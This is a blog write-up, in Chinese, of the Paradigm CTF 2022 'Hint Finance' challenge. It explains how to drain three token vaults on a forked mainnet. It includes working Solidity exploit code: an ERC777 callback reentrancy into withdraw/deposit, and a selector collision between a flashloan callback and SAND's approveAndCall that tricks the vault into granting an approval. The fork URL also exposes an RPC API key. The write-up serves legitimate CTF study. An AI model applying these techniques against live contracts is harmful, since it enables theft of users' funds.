paradigm ctf 2022 - Hint finance

  • bixia1994
  • 更新于 2022-09-08 17:48
  • 阅读 2638

Hint finance

Hint finance

image.png

题目要求

function isSolved() public view returns (bool) {
        for (uint256 i = 0; i < underlyingTokens.length; ++i) {
            address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
            if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) {
                return false;
            }
        }
        return true;
    }

题目分析

这是一个主网的fork,三个underlying token分别是:PNT,SAND,AMP;其中,PNT 和 AMP都是777 token,在transfer之前和之后都有callback回掉。而SAND token是一个ERC20 Token。 可以访问这个链接查看具体的777标准。简单概括,该标准要求ERC777 token的发送方和接受方要到EIP-1820这个地址上进行注册,注册时,需要调用setInterfaceImplementer方法,传入需要注册的key和address;

EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
);
EIP1820Like(EIP1820).setInterfaceImplementer(
    address(this), keccak256("ERC777TokensRecipient"), address(this)
);

ERC777 token会在transfer里面,分别去判断一下:

function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");
        require(holder != address(0), "ERC777: transfer from the zero address");

        address spender = _msgSender();

        _callTokensToSend(spender, holder, recipient, amount, "", "");

        _move(spender, holder, recipient, amount, "", "");
        _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));

        _callTokensReceived(spender, holder, recipient, amount, "", "", false);

        return true;
    }

其中的_callTokensToSend就是from地址的callback,_callTokensReceived就是to地址的callback;

针对ERC777 token的解题思路

因为777 token有callback,而观察depositwithdraw函数都没有nonReentrant这一个限制,所以最先想到的是通过重入的方式来做尝试。 然后,进一步分析withdraw函数,可以看到其并不符合check-effect-intreact模式,在token的转账这一个外部调用之后,还有账本的更改。所以我们可以利用这一点,即在转账过程中,账本保持原样,这里是totalSupply这个值还是原始值。然后重入到deposit函数中,可以看到share的计算中,其计算公式如下: $$ share = amount \times \frac{totalSupply}{balance} $$ 由于已经发生了tranfer,balance会降低,然后totalSupply此时还没有更新,所以totalSupply保持不变。从而是的我们的share会比正常情况下,大很多倍。 当重入到deposit中的大很多的share后,在回到withdraw里继续执行,扣除一小部分share,这样我们通过这次重入可以拿到整个vault的绝大部分share。 此时,我们可以再次调用withdraw函数,走正常的函数调用逻辑,不重入,取出所有的share对应的token,这样就满足题意。 如下所示:

function start2() public {
    uint256 share = HintFinanceVault(vault).totalSupply();
    emit log_named_uint("init share", share);
    prevAmount = (share - 1);
    HintFinanceVault(vault).withdraw(share - 1);
    HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
    emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
}

针对Sand token的解题思路

Sand token是一个普通的ERC20合约,故其无法通过类似于777的callback来完成hack,需要进一步查看sand token的合约逻辑。 从Sand的合约中,我们注意到这样的一个函数:

function approveAndCall(
        address target,
        uint256 amount,
        bytes calldata data
    ) external payable returns (bytes memory) {
        require(
            BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
            "first param != sender"
        );

        _approveFor(msg.sender, target, amount);

        // solium-disable-next-line security/no-call-value
        (bool success, bytes memory returnData) = target.call.value(msg.value)(data);
        require(success, string(returnData));
        return returnData;
    }

这个函数不是EIP20的标准函数。 另外我们在Vault合约里,也注意到一个flashloan函数,该flashloan函数同样也没有nonReentrant,并且该flashloan的一个callback函数是:

function onHintFinanceFlashloan(
        address token,
        address factory,
        uint256 amount,
        bool isUnderlyingOrReward,
        bytes memory data
    ) external;

针对ERC20,有一种常见的攻击模式,即想办法使得token的owner给hacker进行approve操作,通常这是一种钓鱼手法,但是在很多支持flashloan的合约中,可以让合约来给我进行approve。这样就可以在满足flashloan的前提下,即不直接拿走vault的token,但是让其对hacker进行approve了。 所以这里的思路是,如何让vault合约作为msg.sender,调用token合约的approve方法。 可以利用flashloan的callback来实现,但是该callback的函数方法写死了,是onHintFinanceFlashloan,并不是一个可以任意传的值,即不是address(caller).call(data) 但是同时注意到,函数onHintFinanceFlashloan和函数approveAndCall有着相同的函数签名,那么就可以利用这种方式。 但是在具体的编写过程中,需要注意到如何正确的对calldata进行编码:

针对calldata进行编码时,要由外到内,首先编码出approveAndCall中传入的data,这个data是调用flashloan的calldata,即data要满足lashloan(address token, uint256 amount, bytes calldata data)这个函数; 则,data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData) 然后,在来查看innerData的编码方式,他需要同时满足onHintFinanceFlashloanapproveAndCall两个函数;将两个函数的参数对齐如下:

address target          address token                       0x20
uint256 amountLeft      address factory                     0x40
0xa0                    uint256 amountRight                 0x60
0                       bool isUnderlying                   0x80
bytes memory innerdata  bytes memory data                   0xa0

所以根据approveAndCall的执行逻辑,即innerdata的第一个参数是msg.sender. 因为这里是Vault调用的approveAndCall,所以第一个参数应该是address(vault)。第二个参数是由flashlaon合约指定的,为address(factory), 即:target = vault, amountLeft = uint256(factory) 这里需要明确innerdata的占位符,即amountRight的值, 这里为保证符合approveAndCall的要求,即第三个参数是一个bytes memory。 另外需要注意到,calldata的length也必须要合法,上面的len应该是: 0x20 * 5 + len(balanceOf), 所以需要额外在balanceOf里面,加上0; 注意到这里的innerdata,会在approveAndCall里再次调用,所以innerdata必须是一个合法的calldata.

    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

POC

pragma solidity 0.8.16;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract Addrs is DSTest, stdCheats {
    address[3] public underlyingTokens = [
        0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
        ///PNT 777
        0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
        ///SAND
        0xfF20817765cB7f73d4bde2e66e067E58D11095C2
        ///AMP 777
    ];
    address public EIP1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
}

interface EIP1820Like {
    function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer)
        external;
}

interface SandLike {
    function approveAndCall(address target, uint256 amount, bytes calldata data) external;
}

contract Hack is Addrs {
    HintFinanceFactory public hintFinanceFactory;
    address[3] public vaults;
    uint256 public prevAmount;
    address public vault;
    address public token;

    constructor(HintFinanceFactory _hintFinanceFactory) {
        hintFinanceFactory = _hintFinanceFactory;
        for (uint256 i = 0; i < 3; i++) {
            vaults[i] = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            ERC20Like(underlyingTokens[i]).approve(vaults[i], type(uint256).max);
        }

        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
        );
        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("ERC777TokensRecipient"), address(this)
        );
    }

    function start() public {
        vault = vaults[0];
        token = underlyingTokens[0];
        start2();
        vault = vaults[2];
        token = underlyingTokens[2];
        start2();
        vault = vaults[1];
        token = underlyingTokens[1];
        start3();
    }

    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

    function transfer(address, uint256) external returns (bool) {
        return true;
    }

    function balanceOf(address) external view returns (uint256) {
        return 1 ether;
    }

    function start2() public {
        uint256 share = HintFinanceVault(vault).totalSupply();
        emit log_named_uint("init share", share);
        prevAmount = (share - 1);
        HintFinanceVault(vault).withdraw(share - 1);
        HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
        emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {
        if (amount == prevAmount) {
            emit log_named_uint("amount", amount);
            uint256 share = HintFinanceVault(vault).deposit(amount / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    )
        external
    {
        if (value == prevAmount) {
            emit log_named_uint("amount", value);
            uint256 share = HintFinanceVault(vault).deposit(value / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {}
}

import "./public/contracts/Setup.sol";

contract POC is Addrs {
    Hack public hack;
    Vm public vm = Vm(HEVM_ADDRESS);
    Setup public setUpInstance;
    HintFinanceFactory public hintFinanceFactory;

    function setUp() public {
        vm.createSelectFork(
            "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", 15409399
        );
        setUpInstance = new Setup{value: 1000 ether}();
        hintFinanceFactory = setUpInstance.hintFinanceFactory();
        hack = new Hack(hintFinanceFactory);
    }

    function test_Start() public {
        hack.start();
    }

    function _test_Start2() public {
        hack.start2();
    }
}
点赞 1
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code